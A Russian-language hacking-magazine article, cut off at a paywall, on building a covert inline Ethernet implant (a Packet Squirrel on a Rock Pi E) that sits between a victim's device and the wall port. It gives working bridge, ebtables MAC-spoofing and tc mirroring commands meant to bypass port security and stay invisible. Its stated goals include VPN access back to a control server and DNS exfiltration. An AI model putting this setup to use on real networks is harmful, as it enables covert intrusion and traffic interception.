По­лучить несан­кци­они­рован­ный дос­туп к чужому устрой­ству мож­но не толь­ко с исполь­зовани­ем USB-пор­тов, но и через Ethernet-соеди­нение, которых в сов­ремен­ных офи­сах пре­дос­таточ­но. В этой статье мы под­робно рас­ска­жем, как зло­умыш­ленни­ки могут проб­рать­ся в локаль­ную сеть с помощью спе­циаль­ного «невиди­мого» девай­са и как этот девайс устро­ен.

info

Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак. Пре­дыду­щая статья серии: «Опас­ный модем. Зак­репля­емся в ата­кован­ной сис­теме при помощи USB-модема».

Сколь­ко раз ты замечал, что где‑то в пуб­личном мес­те сто­ит прин­тер, IP-телефон или даже пол­ноцен­ный компь­ютер? Все эти устрой­ства объ­еди­няет то, что они, как пра­вило, под­клю­чены к мес­тной локаль­ной сети уже зна­комой нам витой парой.

Принтеры, IP-телефоны, ПК — везде могут быть незащищенные Ethernet-порты
Прин­теры, IP-телефо­ны, ПК — вез­де могут быть незащи­щен­ные Ethernet-пор­ты

Что, если потен­циаль­ный зло­умыш­ленник вос­поль­зует­ся оставлен­ным без вни­мания сетевым пор­том и под­клю­чит вмес­то легитим­ного устрой­ства некий спе­циаль­ный девайс, который пре­дос­тавит ему уда­лен­ный дос­туп из любого угол­ка мира? При­чем под­клю­чит это хакер­ское устрой­ство не отклю­чая основное, а вкли­нив его «посере­дине».

Схема информационных потоков при закреплении через Ethernet-порт
Схе­ма информа­цион­ных потоков при зак­репле­нии через Ethernet-порт

В качес­тве такого готово­го устрой­ства мож­но исполь­зовать Packet Squirrel. Его нет­рудно соб­рать на базе одноплат­ного компь­юте­ра Rock Pi E.

Аппаратное решение для закрепления через Ethernet
Ап­парат­ное решение для зак­репле­ния через Ethernet

Пла­та иде­аль­но под­ходит под рас­смат­рива­емую задачу и не содер­жит ничего лиш­него: тут два Ethernet-пор­та, Wi-Fi и USB. Rock Pi E име­ет так­же опци­ональ­ную под­дер­жку PoE, что поз­волит исполь­зовать устрой­ство без питания по USB, которо­го может не ока­зать­ся в удоб­ном для под­клю­чения мес­те.

Нам пот­ребу­ется прог­рам­мный хаб, который будет в точ­ности копиро­вать каж­дый при­нятый пакет с одно­го Ethernet-пор­та на дру­гой. Тем самым он поз­волит вкли­нить­ся в сеть вне зависи­мос­ти от мес­та его под­клю­чения. Во вре­мя пересыл­ки пакетов с одно­го пор­та на дру­гой устрой­ство может выпол­нять любые дей­ствия так, что жер­тва ничего не заметит. Кро­ме того, кон­фигура­ция хаба дол­жна отве­чать сле­дующим тре­бова­ниям:

  • весь пересы­лаемый через устрой­ство тра­фик записы­вает­ся;
  • че­рез сеть, к которой под­клю­чает­ся устрой­ство, откры­вает­ся VPN-тун­нель до управля­юще­го сер­вера, обес­печивая дос­туп в эту сеть из любого угол­ка мира;
  • с исполь­зовани­ем DNS-эксфиль­тра­ции откры­вает­ся еще один VPN-тун­нель, даже если нет пря­мого выхода в интернет;
  • ус­трой­ство пре­дос­тавля­ет дос­туп в сеть через встро­енный Wi-Fi-адап­тер;
  • ус­трой­ство может вый­ти на связь через под­клю­чаемый 4G-модем.

И разуме­ется, все это дол­жно работать авто­мати­чес­ки, сра­зу пос­ле под­клю­чения устрой­ства, так как вре­мени на руч­ную нас­трой­ку у зло­умыш­ленни­ка может не быть. Для воз­можнос­ти физичес­кого под­клю­чения в любом мес­те мож­но исполь­зовать допол­нитель­ный патч‑корд.

Аппаратная закладка
Ап­парат­ная зак­ладка
 

Реализация

Нас­тро­ить одноплат­ный ПК таким обра­зом, что­бы он мог вкли­нить­ся в физичес­кое соеди­нение, не так уж и слож­но. Сна­чала нуж­но отклю­чить дефол­тные ком­понен­ты, которые могут нам помешать:

update-rc.d network-manager disable
update-rc.d dhcpcd disable

Те­перь необ­ходимо скон­фигури­ровать авто­мати­чес­кое объ­еди­нение интерфей­сов eth0 и eth1 в сетевой мост:

/etc/network/interfaces
iface eth0 inet manual
iface eth1 inet manual
auto br0
iface br0 inet dhcp
0 bridge_ports eth0 eth1
metric 2

Это минималь­ная кон­фигура­ция. Теперь аппа­рат­ная зак­ладка уже готова работать в режиме проз­рачно­го мос­та. Все, что при­дет на один Ethernet-порт, будет в точ­ности копиро­вать­ся на дру­гой порт, и наобо­рот. Но зло­умыш­ленни­ку не прос­то нуж­но пас­сивно переда­вать тра­фик через устрой­ство. Оно дол­жно еще как‑то пре­дос­тавить ему уда­лен­ный дос­туп. Для это­го сле­дует внес­ти необ­ходимые нас­трой­ки внут­ренней сети. В зависи­мос­ти от ситу­ации мож­но исполь­зовать раз­ные методы.

 

Динамическая настройка сети

Час­то ком­пании в сво­их сетях исполь­зуют авто­мати­чес­кую нас­трой­ку сети пос­редс­твом DHCP. Получив собс­твен­ный IP-адрес, устрой­ство будет не прос­то «глу­пым» хабом, оно смо­жет во вре­мя пересыл­ки пакетов еще и самос­тоятель­но работать в сети.

Пос­коль­ку зак­ладка под­клю­чает­ся на дли­тель­ное вре­мя, а сети могут «пере­езжать» на дру­гие VLAN’ы, в иде­але ата­кующе­му необ­ходимо сде­лать так, что­бы устрой­ство всег­да было готово обно­вить свои сетевые нас­трой­ки. Для это­го нуж­но про­писать при­нуди­тель­ное обновле­ние арен­ды IP-адре­са, а так­же регуляр­ный зап­рос к DHCP-сер­веру в слу­чае неуда­чи:

/etc/dhcp/dhclient.conf
send dhcp-lease-time 60;
retry 60;
 

Статическая настройка сети

Да­леко не всег­да в локаль­ных сетях при­сутс­тву­ет DHCP-сер­вер. Осо­бен­но это спра­вед­ливо, если зло­умыш­ленник проб­рался в сер­верный или даже тех­нологи­чес­кий сетевой сег­мент и помес­тил туда свою зак­ладку. В таком слу­чае он может заранее про­писать на устрой­стве нас­трой­ки сети:

/etc/network/interfaces
auto br0
iface br0 inet static
bridge_ports eth0 eth1
hwaddress ether 00:11:22:33:44:55
address 10.0.0.10
netmask 255.255.255.0
gateway 10.0.0.1
dns-nameservers 10.0.0.2
dns-search corp.local
metric 2
 

Port security

В кор­поратив­ных сетях на активном сетевом обо­рудо­вании час­то при­меня­ется дос­таточ­но прос­тая, но дей­ствен­ная защит­ная мера, ког­да дос­туп к сетевой розет­ке раз­решен толь­ко с опре­делен­ного MAC-адре­са. В таком слу­чае тра­фик от жер­твы все рав­но будет про­ходить, ведь bridge проз­рачно пересы­лает пакеты с ори­гиналь­ным MAC-адре­сом. Но дос­тупа в сеть непос­редс­твен­но с самого Packet Squirrel, исполь­зующе­го допол­нитель­ный IP-адрес, уже не получить.

Од­нако дан­ное устрой­ство одним кон­цом под­клю­чает­ся к ПК жер­твы, а зна­чит, оно зна­ет доверен­ный MAC-адрес. Сле­дова­тель­но, если в каж­дом исхо­дящем пакете от Packet Squirrel на одном пор­те испра­вить MAC-адрес отпра­вите­ля на MAC-адрес жер­твы, а на дру­гом — на MAC-адрес шлю­за, то пакеты ста­нут неот­личимы от легитим­ных.

Ре­али­зовать такую, на пер­вый взгляд, прос­тую кон­цепцию на деле не так‑то лег­ко, пос­коль­ку тре­бует­ся, что­бы устрой­ство одновре­мен­но с проз­рачной переда­чей тра­фика в обе сто­роны мог­ло и генери­ровать тра­фик от лица жер­твы. Добить­ся это­го мож­но было бы, нап­ример, так:

sudo ifconfig br0 hw ether "$victim_mac"
sudo ifconfig br0 "$victim_ip/24"
sudo route add -net default gw "$gw_ip"

Так реали­зует­ся прос­тое копиро­вание устрой­ством MAC- и IP-адре­са жер­твы. Но увы, в таком слу­чае ядро Packet Squirrel не смо­жет пересы­лать пакеты из‑за кон­флик­та оди­нако­вых MAC-адре­сов. Тре­бует­ся как‑то обма­нуть ядро. Мож­но не менять собс­твен­ный MAC-адрес устрой­ства, но под­менять MAC-адре­са поз­днее, ког­да пакеты уже сге­нери­рова­ны и «вылета­ют» из сетевой кар­ты:

sudo ifconfig br0 "$victim_ip/24"
sudo route add default gw "$gw_ip"
#gw direction
sudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j snat --to-src "$victim_mac" --snat-arp
sudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat --to-dst $(getmac -i br0)
#victim direction
sudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j snat --to-src "$gw_mac" --snat-arp
sudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat --to-dst $(getmac -i br0)

В такой кон­фигура­ции пакеты с одно­го сетево­го пор­та уйдут с MAC-адре­сом жер­твы, а с дру­гого — с MAC-адре­сом шлю­за. Но пакеты от жер­твы сквозь устрой­ство уже не прой­дут, ведь MAC-адрес при­нуди­тель­но сме­няет­ся еще и на вхо­дящих пакетах.

Зер­калиро­вание пакетов с помощью bridge в дан­ном слу­чае неудоб­но, пос­коль­ку обра­зует­ся один логичес­кий сетевой интерфейс (br0) на оба Ethernet-пор­та. Ата­кующе­му нуж­но иметь воз­можность отправ­лять пакеты незави­симо в каж­дый из сетевых интерфей­сов, но при этом не теряя воз­можнос­ти проз­рачно­го копиро­вания пакетов меж­ду интерфей­сами. Добить­ся это­го мож­но с помощью traffic control:

sudo ifconfig eth0 0 promisc up
sudo ifconfig eth1 0 promisc up
sudo ifconfig eth0 "$victim_ip/24" # Работа от имени victim в сторону gw (LAN)
#sudo ifconfig eth1 "$gw_ip/24" # То же самое, но в сторону victim
route add -net default gw "$gw_ip"
sudo tc qdisc add dev eth0 ingress
sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1
sudo tc qdisc add dev eth1 ingress
sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0
sudo iptables -A INPUT -i eth0 -p icmp -j DROP # Не отзываться на входящие ICMP gw->victim
sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN RST -j DROP # Игнорировать ACK-пакеты и не слать на них RST, чтобы не рвать соединения victim

С такими нас­трой­ками устрой­ство может вкли­нить­ся в легитим­ное физичес­кое под­клю­чение, проз­рачно зер­калируя тра­фик в обе сто­роны и отправ­ляя в это же самое вре­мя пакеты от име­ни жер­твы.

Невидимый режим закрепления через Ethernet
Не­види­мый режим зак­репле­ния через Ethernet

Это поз­волит зло­умыш­ленни­ку обой­ти защиту Port Security и вооб­ще стать пол­ностью невиди­мым в сети.

 

Пассивный сниффинг

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    5 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии